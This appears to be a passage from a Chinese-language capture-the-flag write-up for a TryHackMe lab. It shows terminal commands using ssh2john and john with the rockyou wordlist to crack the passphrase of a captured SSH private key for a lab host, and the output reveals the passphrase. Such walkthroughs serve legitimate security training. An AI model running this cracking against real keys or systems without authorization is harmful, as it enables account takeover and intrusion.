┌──(kali㉿kali)-[~/Documents/thm/creative] └─$ chmod 600 id_rsa ┌──(kali㉿kali)-[~/Documents/thm/creative] └─$ ssh -i id_rsa saad@beta.creative.thm Enter passphrase for key 'id_rsa':
该死 还需要输入密码才能使用私钥
1
ssh2john id_rsa >id_rsa.txt
密码枚举
1 2 3 4 5 6 7 8 9 10 11 12 13
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt
Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status sweetness (id_rsa) 1g 0:00:00:21 DONE (2024-11-16 02:32) 0.04683g/s 44.96p/s 44.96c/s 44.96C/s xbox360..sandy Use the "--show" option to display all of the cracked passwords reliably Session completed.